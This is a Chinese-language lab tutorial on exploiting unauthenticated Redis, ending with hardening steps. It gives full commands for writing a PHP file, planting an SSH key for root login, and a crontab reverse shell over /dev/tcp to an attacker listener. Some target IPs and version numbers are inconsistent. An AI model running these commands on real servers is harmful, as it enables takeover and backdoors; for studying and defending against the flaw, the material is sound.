redis未授权访问漏洞
1. redis未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
2. 漏洞的危害(redis未授权访问)
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
redis是一种以key-value为键值对的非关系型数据库
redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
3. 实验环境(win linux mac)
win环境下的安装和运行:
下载地址:https://github.com/MSOpenTech/redis/releases
命令行输入
redis-server.exe redis.conf
接着查看端口
6379端口(redis默认端口)已经打开
redis成功启动
Linux(ubuntu)环境安装和运行:
安装(方法一)
sudo apt-get update sudo apt-get install redis-server
或者(方法二)
wget http://download.redis.io/releases/redis-2.8.17.tar.gztar -zxvf redis-2.8.27.tar.gz cd redis-2.8.17 make
运行
redis-server
mac环境安装和运行:
brew install redis
运行
redis-server
基本命令:(win redis-cli.exe)
连接redis:
redis-cli -h +ip
查看键为x的值
redis 192.168.0.100:6379> get x
get所有key
redis 192.168.0.100:6379> keys *
删除所有键
redis 192.168.0.100:6379>flushall
连接测试:攻击机 192.168.0.100
被攻击机 :192.168.0.107
连接测试: redis-cli -h 192.168.0.107(成功)
4. 利用redis未授权访问漏洞(全过程跟踪)
1)发现端口服务
尝试连接对应的redis服务
输入info获取相关信息
利用方式一:写入webshell
192.168.0.107:6379> set x "<?php phpinfo(); ?>" OK 192.168.0.107:6379> config set dbfilename test.php OK 192.168.0.107:6379> config set dir /root/redis OK 192.168.0.107:6379> save OK
写入shell
shell写入成功
利用方式二:写入公钥(SSH免密码连接)
本地创建ssh的公钥和私钥
ssh-keygen -t rsa -C "XXXX@XX.com"
对于生成的文件
接着将ssh公钥写入靶机:192.168.0.107
进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt
localhost:.ssh fuwei$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
链接靶机上的redis服务,
将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):
localhost:.ssh fuwei$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
远程登录靶机的redis服务:redis-cli -h 192.168.0.104
并使用 CONFIG GET dir 命令得到redis备份的路径:
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
192.168.0.107:6379> CONFIG SET dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys:
192.168.0.107:6379> CONFIG SET dbfilename authorized_keys
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:
192.168.0.107:6379> CONFIG get dbfilename
在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.0.107
利用私钥成功登录redis服务器!!!
完整的命令:
localhost:.ssh fuwei$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
localhost:.ssh fuwei$ ls 1.txt id_rsa id_rsa.pub known_hosts localhost:.ssh fuwei$ cat 1.txt | redis-cli -h 192.168.0.107 -x set crack OK localhost:.ssh fuwei$ ls 1.txt id_rsa id_rsa.pub known_hosts
localhost:.ssh fuwei$ localhost:.ssh fuwei$ redis-cli -h 192.168.0.107
192.168.0.107:6379> CONFIG GET dir 1) "dir" 2) "/root/.ssh"
192.168.0.107:6379> CONFIG SET dir /root/.ssh OK
192.168.0.107:6379> CONFIG SET dbfilename authorized_keys OK
192.168.0.107:6379> CONFIG get dbfilename 1) "dbfilename" 2) "authorized_keys" 192.168.0.107:6379> save OK 192.168.0.107:6379> exit localhost:.ssh fuwei$ ssh -i id_rsa root@192.168.0.107 Enter passphrase for key 'id_rsa': Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug 6 10:25:43 2019 from 192.168.0.100 root@kali:~#
利用方式三:利用crontab反弹shell
端口监听:
在攻击者服务器上监听一个端口(未被占用的任意端口):
nc -lvnp 4444
攻击详情:
连接redis,写入反弹shell
redis-cli -h 192.168.0.104 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
过一分钟左右就可以收到shell
5. 修复方案
1、比较安全的办法是采用绑定IP的方式来进行控制。
请在redis.conf文件找到如下配置
# If you want you can bind a single interface, if the bind option is not # specified all the interfaces will listen for incoming connections. # # bind 127.0.0.1
把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。
2、设置密码,以提供远程登陆
打开redis.conf配置文件,找到requirepass,然后修改如下:
requirepass yourpassword yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。 命令如下: redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器 keys * //输出服务器中的所有key 报错如下 (error) ERR operation not permitted 这时候你可以用授权命令进行授权,就不报错了 命令如下: auth youpassword
6. 总结
注意:
1、开始构造环境的时候的redis会出现一下报错,注意回环地址。
2、密钥的生成还有最后些如的时候的方法和方式。
3、后续的可以渗透可以配合mysql的相关操作。